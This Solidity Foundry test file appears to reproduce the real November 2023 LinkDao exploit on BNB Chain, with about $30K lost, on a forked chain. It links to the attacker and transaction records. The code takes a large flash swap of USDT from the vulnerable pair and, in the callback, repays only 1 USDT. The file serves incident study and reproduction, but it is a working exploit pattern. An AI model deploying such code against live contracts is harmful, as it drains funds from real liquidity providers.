src/test/2023-11/LinkDao_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "forge-std/Test.sol";
5 
6// @KeyInfo - Total Lost : ~$30K
7// Attacker : https://bscscan.com/address/0xdf6b0200b4e1bc4a310f33df95a9087cc2c79038
8// Attack Contract : https://bscscan.com/address/0x721a66c7767103e7dcacf8440e8dd074edff40a8
9// Vulnerable Contract : https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de
10// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee
11 
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de#code
14 
15// @Analysis
16// Twitter Guy : https://x.com/phalcon_xyz/status/1725058908144746992
17 
18interface IUniswapV2Pair {
19    event Transfer(address indexed from, address indexed to, uint256 value);
20 
21    function balanceOf(
22        address owner
23    ) external view returns (uint256);
24    function transfer(address to, uint256 value) external returns (bool);
25 
26    event Swap(
27        address indexed sender,
28        uint256 amount0In,
29        uint256 amount1In,
30        uint256 amount0Out,
31        uint256 amount1Out,
32        address indexed to
33    );
34 
35    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
36}
37 
38contract LinkDao_exp is Test {
39    address immutable r = address(this);
40 
41    receive() external payable {}
42 
43    function setUp() public {
44        vm.createSelectFork("bsc", 33_527_744);
45        // vm.createSelectFork("https://rpc.ankr.com/bsc", bytes32(0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee));
46    }
47 
48    IUniswapV2Pair constant x55d3 = IUniswapV2Pair(0x55d398326f99059fF775485246999027B3197955);
49    IUniswapV2Pair constant x6524 = IUniswapV2Pair(0x6524a5Fd3FEc179Db3b3C1d21F700Da7aBE6B0de);
50 
51    function test() public {
52        // vm.prank(0xdF6B0200B4e1Bc4a310F33DF95a9087cC2C79038, 0xdF6B0200B4e1Bc4a310F33DF95a9087cC2C79038);
53        x2effb772();
54    }
55 
56    function x2effb772() public {
57        x55d3.balanceOf(address(x6524));
58        x6524.swap(29_663_356_140_000_000_000_000, 0, r, hex"313233");
59    }
60 
61    function xdc6eaaa9() public {
62        x55d3.transfer(address(x6524), 1_000_000_000_000_000_000);
63    }
64 
65    fallback() external payable {
66        bytes4 selector = bytes4(msg.data);
67        if (selector == 0xdc6eaaa9) {
68            return xdc6eaaa9();
69        }
70        revert("no such function");
71    }
72}